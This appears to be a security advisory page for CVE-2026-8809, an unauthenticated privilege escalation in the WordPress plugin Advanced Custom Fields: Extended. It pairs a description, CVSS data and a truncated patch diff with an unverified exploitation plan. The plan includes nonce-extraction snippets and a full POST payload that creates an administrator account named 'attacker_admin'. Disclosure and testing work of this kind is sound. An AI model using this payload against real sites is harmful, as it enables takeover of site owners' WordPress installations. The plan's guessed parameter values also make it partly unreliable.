CVE-2026-8809

Advanced Custom Fields: Extended <= 0.9.2.5 - Unauthenticated Privilege Escalation via Validation Bypass to '_acf_post_id' Parameter

criticalImproper Privilege Management
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
0.9.2.6
Patched in
1d
Time to patch

Description

The Advanced Custom Fields: Extended plugin for WordPress is vulnerable to Privilege Escalation via Validation Bypass in all versions up to and including 0.9.2.5. The vulnerability exists due to the after_validate_save_post() function unconditionally trusting the attacker-controlled _acf_post_id POST parameter — with no authentication or integrity verification — to select a cleanup branch that silently discards all validation errors not prefixed with acfe:. This makes it possible for unauthenticated attackers to suppress both the role allow-list validation error added by acfe_field_user_roles::validate_front_value() and the administrator-role capability guard error added by acfe_module_form_action_user::validate_action(), causing wp_insert_user() to execute with an attacker-supplied administrator role argument and resulting in the creation of a new administrator-level user account. Exploitation requires the target site to expose a public ACFE frontend form configured with a Create User action that maps a role field.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=0.9.2.5
PublishedMay 28, 2026
Last updatedMay 28, 2026
Affected pluginacf-extended

What Changed in the Fix

Changes introduced in v0.9.2.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-8809 ## 1. Vulnerability Summary The **Advanced Custom Fields: Extended (ACFE)** plugin (versions <= 0.9.2.5) contains a critical privilege escalation vulnerability. The core issue lies in the `after_validate_save_post()` function, which hooks into the ACF va…

Show full research plan

Exploitation Research Plan - CVE-2026-8809

1. Vulnerability Summary

The Advanced Custom Fields: Extended (ACFE) plugin (versions <= 0.9.2.5) contains a critical privilege escalation vulnerability. The core issue lies in the after_validate_save_post() function, which hooks into the ACF validation process. This function incorrectly trusts the attacker-controlled _acf_post_id parameter to enter a "cleanup" code branch. In this branch, the plugin iterates through the global $acf_errors array and silences (removes) any validation errors that do not start with the acfe: prefix.

Security-critical validation errors—specifically those preventing unauthenticated users from choosing a restricted role (like administrator) or preventing the "Create User" action from assigning high-privilege capabilities—are typically added by ACF or ACFE without the acfe: prefix. By suppressing these errors, an attacker can bypass role allow-lists and capability guards, allowing a public "Create User" form to create an administrator account.

2. Attack Vector Analysis

  • Endpoint: The vulnerability is exploited during a standard ACF form submission, typically targeting a page containing an [acfe_form ...] shortcode.
  • Vulnerable Action: The form must be configured with a "User" action set to "Create User".
  • Target Parameter: _acf_post_id (used to trigger the bypass) and the specific ACF field input for the user role.
  • Authentication: Unauthenticated (PR:N).
  • Preconditions:
    1. A public-facing page must exist with an ACFE Frontend Form.
    2. The form must have a "Create User" action.
    3. A field in the form must be mapped to the "Role" setting of the User action.

3. Code Flow (Trace)

  1. Request Initiation: An unauthenticated user submits a POST request to a page containing an ACFE form.
  2. ACF Validation Initiation: ACF begins its validation sequence (acf/validate_save_post).
  3. ACFE Role Validation: The acfe_field_user_roles::validate_front_value() function is called for the role selection field. It identifies that an unauthenticated user is attempting to select a role they are not permitted to (e.g., administrator) and adds an error to the global $acf_errors.
  4. ACFE Action Validation: The acfe_module_form_action_user::validate_action() function runs. It checks if the "Create User" action is attempting to create an administrator without proper permissions. It also adds a validation error.
  5. The Vulnerable Hook: ACFE's after_validate_save_post() runs (likely at a high priority on the acf/validate_save_post hook).
  6. The Bypass:
    • The function checks for the existence of the _acf_post_id POST parameter.
    • If present (and potentially matching certain criteria), it enters a cleanup loop.
    • It iterates through global $acf_errors.
    • It removes any error where the field name/key associated with the error does not start with acfe:.
    • The role validation errors added in steps 3 and 4 are stripped because they are associated with standard field keys (e.g., field_abcdef1234567) or standard ACF error types.
  7. Logic Execution: Since $acf_errors is now empty (or contains no relevant errors), ACF and ACFE proceed to the "Save" phase.
  8. Sink: The "Create User" action executes, eventually calling wp_insert_user() with the attacker-supplied role => 'administrator'.

4. Nonce Acquisition Strategy

ACFE Frontend Forms require an ACF nonce (_acf_nonce). These are generated for unauthenticated users (UID 0) but must be retrieved from the page context.

  1. Identify Form Page: Find the page containing the [acfe_form] shortcode.
  2. Navigate: Use browser_navigate to load the page.
  3. Extract Nonce: ACFE/ACF typically localizes data or includes it in hidden inputs.
    • Method A (Hidden Input): Use browser_eval to extract from the DOM:
      browser_eval("document.querySelector('input[name=_acf_nonce]').value")
    • Method B (JS Object): Check for localized script data:
      browser_eval("window.acf?.get('nonce')") or browser_eval("window.acfe?.get('nonce')")
  4. Extract Field Keys: To submit the form correctly, we need the name attributes of the fields (e.g., acf[field_5f123abc456de]). These can be found by inspecting the form inputs via browser_eval.

5. Exploitation Strategy

Step 1: Target Identification

Search for pages containing the ACFE form. Use wp post list and wp post get to find content with [acfe_form.

Step 2: Form Mapping Discovery

Determine which ACF field keys correspond to:

  • Username (user_login)
  • Email (user_email)
  • Password (user_password)
  • Role (role)

Step 3: Payload Construction

Construct a POST request to the form's URL (not admin-ajax.php, as ACFE frontend forms process on page load/init).

Parameters:

  • _acf_nonce: [Extracted Nonce]
  • _acf_form: [Base64 encoded form configuration, usually found in a hidden input]
  • _acf_post_id: new_user (Inferred value often used in ACFE for "Create User" actions; if not, use the current Post ID)
  • acf[field_user_login_key]: attacker_admin
  • acf[field_user_email_key]: admin@attacker.com
  • acf[field_user_pass_key]: Password123!
  • acf[field_user_role_key]: administrator

Step 4: Submission

Perform the http_request as follows:

{
  method: "POST",
  url: "http://target.local/page-with-form/",
  headers: {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  body: "_acf_nonce=NONCE&_acf_form=CONFIG&_acf_post_id=new_user&acf[field_login]=attacker_admin&acf[field_email]=admin@attacker.com&acf[field_pass]=Password123!&acf[field_role]=administrator"
}

6. Test Data Setup

To verify in an isolated environment, create an ACFE form:

  1. Create Field Group: Create a group with fields for Username (text), Email (email), Password (password), and Role (ACFE User Roles field).
  2. Create ACFE Form:
    • Navigate to ACF -> Forms.
    • Create a new form named "PrivEsc Test".
    • Add a "User" action. Set "Action" to "Create User".
    • Map the fields:
      • User Login: field_username
      • User Email: field_email
      • User Password: field_password
      • Role: field_role
  3. Publish Form: Place the form on a public page: [acfe_form ID="123"].
  4. Note Field Keys: Verbatim keys are required for the acf[...] parameters.

7. Expected Results

  • The HTTP response should indicate a success state (typically a redirect or the "Success Message" configured in the form).
  • No validation errors regarding "insufficient permissions" or "invalid role" should appear in the response HTML, despite being an unauthenticated request.

8. Verification Steps

After the exploit attempt, use WP-CLI to confirm the creation of the administrator:

wp user list --role=administrator
# Check for the username 'attacker_admin'

Alternatively, check if the user exists and has the correct capabilities:

wp user get attacker_admin --field=roles

9. Alternative Approaches

  • Different _acf_post_id values: If new_user does not trigger the cleanup, try the numeric ID of the page the form is on, or the string options.
  • Direct Validation Endpoint: Some ACF versions allow validation via admin-ajax.php?action=acf/validate_save_post. If the main form submission fails, try sending the validation request first with _acf_post_id to see if it returns {"valid": 1}.
  • Field Mapping: If the "Role" field is hidden, the attacker may need to include it manually in the POST body using the discovered field key.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Advanced Custom Fields: Extended plugin (<= 0.9.2.5) is vulnerable to unauthenticated privilege escalation due to a validation bypass. The 'after_validate_save_post' function incorrectly trusts the attacker-controlled '_acf_post_id' parameter to trigger a cleanup routine that removes security-critical validation errors, allowing unauthenticated users to create administrator accounts via front-end forms.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/acf-extended/0.9.2.5/acf-extended.php /home/deploy/wp-safety.org/data/plugin-versions/acf-extended/0.9.2.6/acf-extended.php
--- /home/deploy/wp-safety.org/data/plugin-versions/acf-extended/0.9.2.5/acf-extended.php	2026-05-20 12:31:30.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/acf-extended/0.9.2.6/acf-extended.php	2026-05-28 07:26:36.000000000 +0000
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Advanced Custom Fields: Extended
  * Description: All-in-one enhancement suite that improves WordPress & Advanced Custom Fields.
- * Version:     0.9.2.5
+ * Version:     0.9.2.6
  * Author:      ACF Extended
  * Plugin URI:  https://www.acf-extended.com
  * Author URI:  https://www.acf-extended.com
@@ -19,7 +19,7 @@
 class ACFE{
     
     // vars
-    var $version = '0.9.2.5';
+    var $version = '0.9.2.6';
     
     /**
      * construct
@@ -53,6 +53,9 @@
         acfe_include('includes/acfe-file-functions.php');
         acfe_include('includes/acfe-form-functions.php');
         acfe_include('includes/acfe-helper-functions.php');
+        acfe_include('includes/acfe-helper-array-functions.php');
+        acfe_include('includes/acfe-helper-multi-functions.php');
+        acfe_include('includes/acfe-helper-string-functions.php');
         acfe_include('includes/acfe-meta-functions.php');
         acfe_include('includes/acfe-post-functions.php');
         acfe_include('includes/acfe-screen-functions.php');
@@ -139,6 +142,7 @@
             'field/recaptcha/v2/size'           => '',
             'field/recaptcha/v3/hide_logo'      => '',
             'compatibility/legacy_title_toggle' => false,
+            'compatibility/legacy_field_group'  => false,
 
         ));
 ... (truncated)

Exploit Outline

The exploit requires an unauthenticated attacker to target a front-end form generated by the ACFE plugin configured with a 'Create User' action. The attacker first identifies the form on a public page and extracts the necessary '_acf_nonce', '_acf_form' configuration, and the specific field key mapped to the user role. By submitting a POST request that includes the '_acf_post_id' parameter (set to a value like 'new_user') along with a field value of 'administrator', the attacker triggers a logic flaw in the plugin's validation cleanup process. This process removes all validation errors not prefixed with 'acfe:', effectively silencing the security checks that would normally block unauthorized role assignment, resulting in the creation of a new administrator-level user.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.